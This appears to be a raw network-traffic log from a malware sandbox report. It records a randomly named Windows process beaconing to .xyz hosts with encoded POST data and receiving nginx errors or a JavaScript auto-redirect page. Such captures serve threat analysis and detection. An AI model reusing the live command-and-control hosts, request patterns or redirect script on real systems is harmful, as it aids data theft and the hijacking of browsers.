                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Content-Length: 552
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      43192.168.2.665441129.226.176.90804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:32.114310026 CEST1794OUTPOST /uhl0/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.xueerr.xyz
                                                                                                                                                                                                      Origin: http://www.xueerr.xyz
                                                                                                                                                                                                      Referer: http://www.xueerr.xyz/uhl0/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 1249
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 65 7a 39 37 70 79 73 32 32 54 67 53 79 34 6e 66 71 57 50 38 5a 42 47 2b 2f 35 6b 4d 53 64 48 64 57 33 73 75 48 33 6b 6b 76 45 2b 31 36 59 63 35 34 37 4b 32 47 57 4d 6f 4d 6a 55 76 32 6a 42 78 51 73 38 39 6d 6c 6c 42 49 5a 56 74 69 4c 75 58 55 31 42 34 6e 4e 48 33 65 53 59 39 46 35 45 4a 59 51 6e 2f 4e 38 32 2b 4c 65 4b 70 77 74 45 41 55 69 79 53 76 56 4a 73 41 78 63 44 6f 70 38 64 46 62 65 63 6a 49 6b 48 37 67 61 4a 59 43 67 6b 54 44 36 6c 42 4b 70 6e 35 53 75 55 72 44 49 76 45 72 2f 57 4a 73 46 56 73 39 4f 6a 73 67 31 42 72 30 57 68 77 4b 44 5a 73 69 6d 67 2f 58 48 71 6a 6c 52 67 61 35 34 35 4a 6c 4b 6f 77 56 6f 56 59 51 68 4e 34 78 45 48 4b 77 6f 45 6c 51 61 4f 4d 70 54 55 52 7a 42 70 32 41 2b 39 6a 47 41 64 6a 37 66 39 59 56 79 58 4d 35 63 6b 4b 38 50 43 61 51 46 38 65 32 62 73 74 2f 74 55 38 64 58 47 44 66 4d 56 7a 37 46 6b 63 49 42 41 31 72 4f 77 61 2f 49 36 63 5a 45 4a 49 37 72 6d 68 33 77 62 65 51 63 68 58 46 78 45 68 6b 4d 73 41 4f 2f 6d 6f 76 6b 6b 4b 61 79 4a 50 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=ez97pys22TgSy4nfqWP8ZBG+/5kMSdHdW3suH3kkvE+16Yc547K2GWMoMjUv2jBxQs89mllBIZVtiLuXU1B4nNH3eSY9F5EJYQn/N82+LeKpwtEAUiySvVJsAxcDop8dFbecjIkH7gaJYCgkTD6lBKpn5SuUrDIvEr/WJsFVs9Ojsg1Br0WhwKDZsimg/XHqjlRga545JlKowVoVYQhN4xEHKwoElQaOMpTURzBp2A+9jGAdj7f9YVyXM5ckK8PCaQF8e2bst/tU8dXGDfMVz7FkcIBA1rOwa/I6cZEJI7rmh3wbeQchXFxEhkMsAO/movkkKayJP8smBfrL0H7Z0VAH0I30HgQ2jxrKK7I0+SWRSxdYdJyMpuIxuJJDydPO9OhkUJj/RcP0XfxfeKIk8dlel1ZUdek5UfLhaEx4v/chc2+ZR2Gwuz8/zqzfCtmmKXueTwggdI+nBCoYjR1ZHxVRm2bvdWVVRuOKjEWtz8XF1AXyHciZnIpPHpsbJtpmup//tnx8ZtG8gMwl82R3YgZgGU9ityHbjd6ZIHQUIWOth13mvpryBOIEmlJNemo2mwsnNWhs7UHvkqHGxeNpLraoWwB9S+HQSHgx/GbzDRrukgmcMlkNfv7FTJ2Gs61nECNbIZU9BMI1RpAL6ckKGfX9VtTAUBdgJIbFvugVMJOc/JLJxWM2/JyAL0DjZYIXAkANlX37n7/VNZT5nrUT24FclNyOSDXI6Oz9iJaCp074uCTS7seF+0kocAWR4QZnWZF1UeQ1ZbOtDGzbCE/ng8ckpqP21f80KNhhYKgtGUrc/lpFR9j9iGfcvhe6D6+V8KwYXm4PTdL9jAawTteYfZs+hJ10HAfEEV0Ovh3PZWi7zZ7+MyFwSaSi1hmuq3DzwgVo5NKzbHqBPZS/kwDCH/VHVEJUjE1rVDEabvL2vZpeQSGvvX1Zx3INKdg8WRRVDk40GIPro1+QtsL/E1EA0c6717wKdDtwfM1RIRx4G6t [TRUNCATED]
                                                                                                                                                                                                      Oct 9, 2024 14:47:33.025090933 CEST697INHTTP/1.1 400 Bad Request
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:47:32 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Content-Length: 552
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      44192.168.2.665442129.226.176.90804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:34.657886982 CEST515OUTGET /uhl0/?LvYDDv8X=TxVbqFQjrC805feOvmOxEwyF//AKfqr/Xls8HzweuR678Y4Z+oW+BnI4LAoEvRRadOoFnRxIeoJjwfvLdFpItNioeiEOCu4Paj/fGMmid+6L39IUIjukvxYRWUAgh4IsKZixjtI=&uDe8o=HnM0Zn40QtgXtNk0 HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.xueerr.xyz
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Oct 9, 2024 14:47:35.553251028 CEST697INHTTP/1.1 400 Bad Request
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:47:35 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Content-Length: 552
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      45192.168.2.665443107.148.177.200804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:41.869843006 CEST751OUTPOST /7o3y/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.h45d.xyz
                                                                                                                                                                                                      Origin: http://www.h45d.xyz
                                                                                                                                                                                                      Referer: http://www.h45d.xyz/7o3y/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 213
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 4f 38 41 2b 66 6f 37 6f 34 34 63 67 34 63 73 2f 53 63 50 5a 34 66 38 49 5a 5a 56 6c 4d 49 50 31 43 34 72 65 37 4f 78 6b 6d 4e 46 79 6c 54 35 6c 4e 58 31 59 66 46 4f 52 71 55 49 71 73 78 58 4d 35 75 4d 68 56 45 7a 4c 54 51 63 47 71 62 45 6b 58 33 5a 36 64 75 61 32 34 78 6d 74 63 56 6b 41 70 69 78 77 34 6d 76 6c 4c 2f 79 6e 77 49 47 70 51 48 4d 61 49 64 5a 49 35 72 31 38 57 73 4a 43 6e 58 34 6c 4a 4a 37 71 36 64 5a 31 36 35 36 69 4c 6a 66 5a 65 68 6e 73 55 4f 4f 35 66 43 4d 49 2f 66 59 66 33 47 43 57 4f 31 2f 32 7a 47 2b 49 71 61 6e 70 77 63 64 58 4b 62 38 34 57 51 79 43 2b 64 57 55 4e 78 59 52 34 73 57 4d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=O8A+fo7o44cg4cs/ScPZ4f8IZZVlMIP1C4re7OxkmNFylT5lNX1YfFORqUIqsxXM5uMhVEzLTQcGqbEkX3Z6dua24xmtcVkApixw4mvlL/ynwIGpQHMaIdZI5r18WsJCnX4lJJ7q6dZ1656iLjfZehnsUOO5fCMI/fYf3GCWO1/2zG+IqanpwcdXKb84WQyC+dWUNxYR4sWM
                                                                                                                                                                                                      Oct 9, 2024 14:47:42.366452932 CEST557INHTTP/1.0 200 OK
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Cache-Control: max-age=259200
                                                                                                                                                                                                      Content-Type: text/html;charset=utf-8
                                                                                                                                                                                                      Content-Length: 428
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 68 61 6f 31 32 33 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 73 74 72 55 3d 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 2e 67 6e 33 30 31 2e 63 6f 6d 3a 31 32 33 34 35 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 68 61 6f 31 32 33 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 20 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https://http.gn301.com:12345/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.href=strU;if(document.all){document.getElementById("hao123").click();}else {var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("hao123").dispatchEvent(e);}</script></body></html>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      46192.168.2.665444107.148.177.200804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:44.415322065 CEST775OUTPOST /7o3y/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.h45d.xyz
                                                                                                                                                                                                      Origin: http://www.h45d.xyz
                                                                                                                                                                                                      Referer: http://www.h45d.xyz/7o3y/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 237
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 4f 38 41 2b 66 6f 37 6f 34 34 63 67 69 39 63 2f 42 74 50 5a 2f 2f 38 4c 46 70 56 6c 43 6f 50 78 43 34 6e 65 37 4d 64 53 6e 34 31 79 72 53 4a 6c 4f 53 56 59 63 46 4f 52 69 30 49 76 6f 78 58 62 35 75 77 48 56 47 33 4c 54 57 77 47 71 66 4d 6b 58 6b 42 35 62 2b 61 30 30 52 6d 38 44 6c 6b 41 70 69 78 77 34 6d 36 43 4c 2f 71 6e 78 34 57 70 52 6d 4d 5a 4a 64 5a 4a 34 72 31 38 53 73 49 4c 6e 58 35 4b 4a 4d 6a 45 36 62 64 31 36 35 4b 69 4d 79 66 65 51 52 6e 69 4b 2b 50 2b 53 78 78 50 2f 74 5a 61 72 45 58 36 51 31 62 67 32 77 2f 53 32 70 6e 4b 69 4d 39 56 4b 5a 6b 4b 57 77 79 6f 38 64 75 55 66 6d 55 32 33 59 7a 76 65 56 39 2b 32 65 42 76 70 67 59 2f 57 77 59 59 77 43 47 6c 71 51 3d 3d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=O8A+fo7o44cgi9c/BtPZ//8LFpVlCoPxC4ne7MdSn41yrSJlOSVYcFORi0IvoxXb5uwHVG3LTWwGqfMkXkB5b+a00Rm8DlkApixw4m6CL/qnx4WpRmMZJdZJ4r18SsILnX5KJMjE6bd165KiMyfeQRniK+P+SxxP/tZarEX6Q1bg2w/S2pnKiM9VKZkKWwyo8duUfmU23YzveV9+2eBvpgY/WwYYwCGlqQ==
                                                                                                                                                                                                      Oct 9, 2024 14:47:44.914309978 CEST557INHTTP/1.0 200 OK
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Cache-Control: max-age=259200
                                                                                                                                                                                                      Content-Type: text/html;charset=utf-8
                                                                                                                                                                                                      Content-Length: 428
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 68 61 6f 31 32 33 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 73 74 72 55 3d 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 2e 67 6e 33 30 31 2e 63 6f 6d 3a 31 32 33 34 35 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 68 61 6f 31 32 33 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 20 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https://http.gn301.com:12345/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.href=strU;if(document.all){document.getElementById("hao123").click();}else {var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("hao123").dispatchEvent(e);}</script></body></html>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                      47192.168.2.665445107.148.177.20080
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:47:47.926240921 CEST1788OUTPOST /7o3y/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.h45d.xyz
                                                                                                                                                                                                      Origin: http://www.h45d.xyz
                                                                                                                                                                                                      Referer: http://www.h45d.xyz/7o3y/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 1249
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 4f 38 41 2b 66 6f 37 6f 34 34 63 67 69 39 63 2f 42 74 50 5a 2f 2f 38 4c 46 70 56 6c 43 6f 50 78 43 34 6e 65 37 4d 64 53 6e 35 68 79 72 67 42 6c 4f 30 64 59 64 46 4f 52 73 55 49 75 6f 78 58 61 35 71 6b 44 56 47 72 39 54 54 73 47 71 34 4d 6b 48 46 42 35 53 2b 61 30 38 78 6d 73 63 56 6c 55 70 69 68 30 34 6d 71 43 4c 2f 71 6e 78 2b 36 70 57 33 4d 5a 4c 64 5a 49 35 72 30 39 57 73 49 6a 6e 54 63 39 4a 4d 76 36 36 71 68 31 36 64 75 69 4a 42 33 65 57 42 6d 45 4c 2b 50 63 53 78 39 41 2f 74 46 38 72 46 53 6e 51 32 48 67 30 56 36 45 79 62 6d 52 38 4d 35 7a 64 61 63 30 56 32 7a 65 31 66 6d 76 4f 57 55 30 6f 73 6a 39 52 53 5a 79 37 65 35 6f 75 42 38 2f 52 77 70 4f 30 78 33 7a 2f 45 4a 4f 4b 6f 79 6e 47 72 34 6a 56 48 58 65 41 67 66 44 50 6c 2f 4d 5a 6b 56 34 67 4b 75 7a 6f 4a 35 54 57 39 78 6e 6c 75 38 36 70 4f 37 54 67 58 6b 67 78 62 75 30 2f 34 47 30 45 46 31 4e 54 6c 51 71 57 67 38 4a 63 4d 46 68 4a 42 6d 4e 39 4d 53 4b 2f 39 66 48 59 56 79 6e 59 30 76 58 57 41 63 67 64 74 4a 6e 52 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=O8A+fo7o44cgi9c/BtPZ//8LFpVlCoPxC4ne7MdSn5hyrgBlO0dYdFORsUIuoxXa5qkDVGr9TTsGq4MkHFB5S+a08xmscVlUpih04mqCL/qnx+6pW3MZLdZI5r09WsIjnTc9JMv66qh16duiJB3eWBmEL+PcSx9A/tF8rFSnQ2Hg0V6EybmR8M5zdac0V2ze1fmvOWU0osj9RSZy7e5ouB8/RwpO0x3z/EJOKoynGr4jVHXeAgfDPl/MZkV4gKuzoJ5TW9xnlu86pO7TgXkgxbu0/4G0EF1NTlQqWg8JcMFhJBmN9MSK/9fHYVynY0vXWAcgdtJnRZ0iFHLmmuzQhnNwhvvMyQMDpUQltdKjcdkEFVr8GMJlXkV5vVNec16Hz8tpP8betU7eKgT0+QVcMJrLTmKp/dR507AcJ/riAk5HTN9zL1bSz1h+6u3RYZPRxhm9BYHlSyD1mr9D8XlioQcAFCiOiFQk9QHnHj/GaCurXQk13bNIYZ5HfPFVqgY8RoX6qs7+ktZvlNaSYU0yPvuF+I03Zmto29qT3N7tWuuwoqJu7FIl2sCdKMXrGVSEqJzZfGjSfdnUt79oEwrJ/Q0xnFSEsYsXOEUJu22HPHx9lOSWv/L4sTuNvxu2dXiSAZrp+Q6H5e2UBzhz0mcaf3mR2fcQcMQsircKpw3SOnjmVjSpYBpTZP/gkHiq5YFbacqfqDTNj6sZB+osZul4XG5kvMqBVd0jlUb61Av7M8KpJ4EskS3xomzeK//kSEUPAM4n6KarrzoOxAhUpMPMlZMG1qWfsOfNfviu0tdrAf7xi6oj++Ug3qGSPwBUz3jBstUN9z/0P2Dvq3bU8S9OLLXvwyLlnr3iTLXoJBN9gDDK3GfkkZzgWDyuuBzo2Ms0g/A/xQ0gzpNZm5hrApUwYsaHDLZ10eeHJPT+sNAEK5EDljGmAsPTPWBFIBl/rSomzTQjkQrV2442jU/RWWYklhHpLoVdnV7miw7cCj6p1u1 [TRUNCATED]
                                                                                                                                                                                                      Oct 9, 2024 14:47:48.426357985 CEST557INHTTP/1.0 200 OK
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Cache-Control: max-age=259200
                                                                                                                                                                                                      Content-Type: text/html;charset=utf-8
                                                                                                                                                                                                      Content-Length: 428
